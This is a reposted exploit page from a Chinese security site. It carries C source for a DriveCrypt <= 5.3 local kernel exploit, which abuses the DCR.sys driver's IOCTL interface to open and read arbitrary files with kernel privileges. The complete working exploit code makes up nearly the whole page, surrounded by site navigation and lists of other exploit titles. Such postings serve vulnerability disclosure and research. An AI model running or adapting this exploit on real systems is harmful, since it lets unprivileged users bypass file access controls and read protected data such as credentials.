首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
DriveCrypt <= 5.3 local kernel arbitrary file read/write exploit
来源:http://www.digit-labs.org 作者:mu-b 发布时间:2011-01-12  

/* drivecrypt-fopen.c
 *
 * Copyright (c) 2009 by <mu-b@digit-labs.org>
 *
 * DriveCrypt <= 5.3 local kernel arbitrary file read/write exploit
 * by mu-b - Sun 16 Aug 2009
 *
 * - Tested on: DCR.sys
 *
 * Compile: MinGW + -lntdll
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2009!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>
#include <ddk/ntapi.h>

#define DCR_IOCTL   0x00073800

struct ioctl_enable_req {
  DWORD dAction;
  DWORD dFlag;
  UCHAR pad[0x20];
  PUCHAR lpVerBuffer;
} lpRequest;

static DWORD
dcrypt_ZwCreateFile (HANDLE hDrv, const PUCHAR lpFileName, HANDLE *hFile)
{
  struct ioctl_open_req {
    DWORD dAction;
    DWORD dFlag;
    PUCHAR lpFileName;
    UCHAR pad[0x0C];
    HANDLE *hFile;
    UCHAR _pad[0x0C];
    PUCHAR lpVerBuffer;
  } lpRequest;
  UCHAR lpFileBuffer[256], lpVerBuffer[256];
  DWORD dReturnLen;
  BOOL bResult;

  snprintf (lpFileBuffer, sizeof lpFileBuffer, "\\??\\%s", lpFileName);

  memset (&lpRequest, 0, sizeof lpRequest);
  lpRequest.dAction = 63;
  lpRequest.dFlag = 0;
  lpRequest.lpFileName = lpFileBuffer;
  lpRequest.hFile = hFile;
  lpRequest.lpVerBuffer = lpVerBuffer;

#ifdef _DEBUG_
  printf ("* opening file...\n");
#endif
  bResult = DeviceIoControl (hDrv, DCR_IOCTL,
                             &lpRequest, sizeof lpRequest,
                             &lpRequest, sizeof lpRequest, &dReturnLen, 0);
  if (!bResult)
    {
      return (-1);
    }

#ifdef _DEBUG_
  printf ("** file: %s, handle: %08X\n", lpFileBuffer, *hFile);
  printf ("* done\n");
#endif

  return (0);
}

static HANDLE
dcrypt_ZwReadFile (HANDLE hDrv, HANDLE hFile, PCHAR lpBuf, DWORD dLen, DWORD offset)
{
  struct read_opts {
    HANDLE hFile;
    UCHAR pad[0x4];
    LARGE_INTEGER offset;
    PUCHAR lpBuf;
    UCHAR _pad[0x4];
    DWORD dLen;
    DWORD dAction;
    DWORD zero;
    DWORD dRlen;
  } lpOpts;

  struct ioctl_open_req {
    DWORD dAction;
    DWORD dFlag;
    struct read_opts *lpOpts;
    UCHAR pad[0x10];
    UCHAR _pad[0x0C];
    PUCHAR lpVerBuffer;
  } lpRequest;
  UCHAR lpVerBuffer[256];
  DWORD dReturnLen;
  BOOL bResult;

  memset (&lpOpts, 0, sizeof lpOpts);
  lpOpts.hFile = hFile;
  lpOpts.offset.LowPart = offset;
  lpOpts.lpBuf = lpBuf;
  lpOpts.dLen = dLen;
  lpOpts.dAction = 0;

  memset (&lpRequest, 0, sizeof lpRequest);
  lpRequest.dAction = 64;
  lpRequest.dFlag = 0;
  lpRequest.lpOpts = &lpOpts;
  lpRequest.lpVerBuffer = lpVerBuffer;

#ifdef _DEBUG_
  printf ("* reading from file...\n");
#endif
  bResult = DeviceIoControl (hDrv, DCR_IOCTL,
                             &lpRequest, sizeof lpRequest,
                             &lpRequest, sizeof lpRequest, &dReturnLen, 0);
  if (!bResult)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }

#ifdef _DEBUG_
  printf ("** read: %.*s [%d-bytes]\n", lpOpts.dRlen, lpBuf, lpOpts.dRlen);
  printf ("* done\n");
#endif

  return (hFile);
}

int
main (int argc, char **argv)
{
  struct ioctl_enable_req req;
  CHAR buf[1024], filebuf[256], readbuf[256];
  HANDLE hFile, hReadFile;
  DWORD rlen;
  BOOL result;

  printf ("DriveCrypt <= 5.3 local kernel arbitrary file read/write exploit\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n");

  hFile = CreateFileA ("\\\\.\\DCR", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  memset (&req, 0, sizeof req);
  req.dAction = 0x153;
  req.dFlag = 0;
  req.lpVerBuffer = buf;

  printf ("* enabling driver...\n");
  result = DeviceIoControl (hFile, DCR_IOCTL,
                            &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("** version: 0x%08X [%s], %s\n", *(int *) &buf[8], &buf[12], &buf[19]);
  printf ("* done\n");

  dcrypt_ZwCreateFile (hFile, argv[1], &hReadFile);
  dcrypt_ZwReadFile (hFile, hReadFile, readbuf, 256, 0);

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Utimaco Safeware AG (Sophos) -
·DriveCrypt <= 5.3 local kernel
·Utimaco Safeware AG (Sophos) -
·Solar FTP Server 2.1 Buffer Ov
·Lotus CMS Fraise v3.0 LFI - Re
·ProFTPD 1.2 - 1.3.0 sreplace B
·MS10-081: Windows Common Contr
·Mono/Moonlight Generic Type Ar
·LOCAL SOLARIS KERNEL ROOT EXPL
·Nokia Multimedia Player 1.0 SE
·Macro Express Pro 4.2.2.1 MXE
·Sinowal/Mebroot Bootkit Passwo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved